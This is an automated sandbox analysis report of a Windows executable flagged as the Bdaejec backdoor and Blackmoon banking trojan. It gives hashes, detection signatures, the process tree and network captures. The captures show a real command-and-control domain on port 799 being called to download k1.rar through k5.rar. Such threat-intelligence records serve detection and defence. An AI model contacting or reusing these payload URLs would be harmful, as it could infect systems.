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Analysis

  • max time kernel
    140s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/01/2025, 13:46 UTC

General

  • Target

    e2c8c0e0960a76b051df36d2eba676a8096aa1e34e53c207173376a5d9422739.exe

  • Size

    1.2MB

  • MD5

    4cec4323e6fa9517a1e1b2081a205558

  • SHA1

    363eb967864fc779a37905d11d63a8ad20a6ca3a

  • SHA256

    e2c8c0e0960a76b051df36d2eba676a8096aa1e34e53c207173376a5d9422739

  • SHA512

    c6ecb83c6ec831db8545981d28b21c512ba2ae1503ec5afdbd9a2b0f2d595935a0411633ec1bf42ab74351eb984e97ad8b81f42b1d775f9f92a09c892a3fd56d

  • SSDEEP

    24576:OMneyNyDVyH/9Z86HYJ6YVcsRbTqpxNR54K/VcNFrze1FLfIxaJ/agp6:5kQHVZ86HHsRGrhICzzJ/Xw

Malware Config

Extracted

Family

bdaejec

C2

ddos.dnsnb8.net

Signatures

  • Bdaejec

    Bdaejec is a backdoor written in C++.

  • Bdaejec family
  • Blackmoon family
  • Blackmoon, KrBanker

    Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.

  • Detect Blackmoon payload 1 IoCs
  • Detects Bdaejec Backdoor. 1 IoCs

    Bdaejec is backdoor written in C++.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e2c8c0e0960a76b051df36d2eba676a8096aa1e34e53c207173376a5d9422739.exe
    "C:\Users\Admin\AppData\Local\Temp\e2c8c0e0960a76b051df36d2eba676a8096aa1e34e53c207173376a5d9422739.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Users\Admin\AppData\Local\Temp\vhiLHI.exe
      C:\Users\Admin\AppData\Local\Temp\vhiLHI.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\47ec01dd.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2404

Network

  • flag-us
    DNS
    ddos.dnsnb8.net
    vhiLHI.exe
    Remote address:
    8.8.8.8:53
    Request
    ddos.dnsnb8.net
    IN A
    Response
    ddos.dnsnb8.net
    IN A
    44.221.84.105
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k2.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k2.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    DNS
    13.86.106.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.86.106.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    181.129.81.91.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    181.129.81.91.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    105.84.221.44.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    105.84.221.44.in-addr.arpa
    IN PTR
    Response
    105.84.221.44.in-addr.arpa
    IN PTR
    ec2-44-221-84-105 compute-1 amazonawscom
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k3.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k3.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k4.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k4.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k5.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k5.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k5.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k5.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    DNS
    7.98.51.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    7.98.51.23.in-addr.arpa
    IN PTR
    Response
    7.98.51.23.in-addr.arpa
    IN PTR
    a23-51-98-7deploystaticakamaitechnologiescom
  • flag-us
    DNS
    0.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    0.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k5.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k5.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k5.rar
    vhiLHI.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k5.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    DNS
    58.55.71.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    58.55.71.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    217.106.137.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.106.137.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    212.20.149.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    212.20.149.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    212.20.149.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    212.20.149.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    212.20.149.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    212.20.149.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    212.20.149.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    212.20.149.52.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    197.87.175.4.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    197.87.175.4.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    22.89.16.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.89.16.2.in-addr.arpa
    IN PTR
    Response
    22.89.16.2.in-addr.arpa
    IN PTR
    a2-16-89-22deploystaticakamaitechnologiescom
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    vhiLHI.exe
    472 B
    216 B
    4
    5

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    vhiLHI.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k2.rar
    http
    vhiLHI.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k2.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k3.rar
    http
    vhiLHI.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k3.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k4.rar
    http
    vhiLHI.exe
    564 B
    296 B
    6
    7

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k4.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k5.rar
    http
    vhiLHI.exe
    472 B
    216 B
    4
    5

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k5.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k5.rar
    http
    vhiLHI.exe
    472 B
    216 B
    4
    5

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k5.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k5.rar
    http
    vhiLHI.exe
    472 B
    216 B
    4
    5

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k5.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k5.rar
    http
    vhiLHI.exe
    472 B
    216 B
    4
    5

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k5.rar
  • 8.8.8.8:53
    ddos.dnsnb8.net
    dns
    vhiLHI.exe
    61 B
    77 B
    1
    1

    DNS Request

    ddos.dnsnb8.net

    DNS Response

    44.221.84.105

  • 8.8.8.8:53
    13.86.106.20.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    13.86.106.20.in-addr.arpa

  • 8.8.8.8:53
    181.129.81.91.in-addr.arpa
    dns
    72 B
    147 B
    1
    1

    DNS Request

    181.129.81.91.in-addr.arpa

  • 8.8.8.8:53
    105.84.221.44.in-addr.arpa
    dns
    72 B
    127 B
    1
    1

    DNS Request

    105.84.221.44.in-addr.arpa

  • 8.8.8.8:53
    7.98.51.23.in-addr.arpa
    dns
    69 B
    131 B
    1
    1

    DNS Request

    7.98.51.23.in-addr.arpa

  • 8.8.8.8:53
    0.159.190.20.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    0.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    58.55.71.13.in-addr.arpa
    dns
    70 B
    144 B
    1
    1

    DNS Request

    58.55.71.13.in-addr.arpa

  • 8.8.8.8:53
    217.106.137.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    217.106.137.52.in-addr.arpa

  • 8.8.8.8:53
    212.20.149.52.in-addr.arpa
    dns
    288 B
    146 B
    4
    1

    DNS Request

    212.20.149.52.in-addr.arpa

    DNS Request

    212.20.149.52.in-addr.arpa

    DNS Request

    212.20.149.52.in-addr.arpa

    DNS Request

    212.20.149.52.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    216 B
    158 B
    3
    1

    DNS Request

    171.39.242.20.in-addr.arpa

    DNS Request

    171.39.242.20.in-addr.arpa

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    197.87.175.4.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    197.87.175.4.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    22.89.16.2.in-addr.arpa
    dns
    69 B
    131 B
    1
    1

    DNS Request

    22.89.16.2.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\9MFSIIMR\k2[1].rar

    Filesize

    4B

    MD5

    d3b07384d113edec49eaa6238ad5ff00

    SHA1

    f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

    SHA256

    b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

    SHA512

    0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

  • C:\Users\Admin\AppData\Local\Temp\47ec01dd.bat

    Filesize

    187B

    MD5

    9cc107b7ef8860ca31441040c70d1123

    SHA1

    ae44c14814e72dab450d0e1dccb02c7a7a3fc583

    SHA256

    bc32c2de089c121ae554bf74be3e15a007e8a4f08015890b8a9f86188e0ac378

    SHA512

    b3f6fc47976acf5c1b0bca86905411a5557dc1fda256ddaff901305ccd56b5e3529b4535d37147a9051a579a57def0295de5c5b05bee021efb7392c2c6c9acb8

  • C:\Users\Admin\AppData\Local\Temp\5E950170.exe

    Filesize

    4B

    MD5

    20879c987e2f9a916e578386d499f629

    SHA1

    c7b33ddcc42361fdb847036fc07e880b81935d5d

    SHA256

    9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

    SHA512

    bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

  • C:\Users\Admin\AppData\Local\Temp\vhiLHI.exe

    Filesize

    15KB

    MD5

    56b2c3810dba2e939a8bb9fa36d3cf96

    SHA1

    99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

    SHA256

    4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

    SHA512

    27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

  • memory/4360-4-0x0000000000100000-0x0000000000109000-memory.dmp

    Filesize

    36KB

  • memory/4360-38-0x0000000000100000-0x0000000000109000-memory.dmp

    Filesize

    36KB

  • memory/4996-0-0x0000000000400000-0x000000000076E000-memory.dmp

    Filesize

    3.4MB

  • memory/4996-40-0x0000000000400000-0x000000000076E000-memory.dmp

    Filesize

    3.4MB

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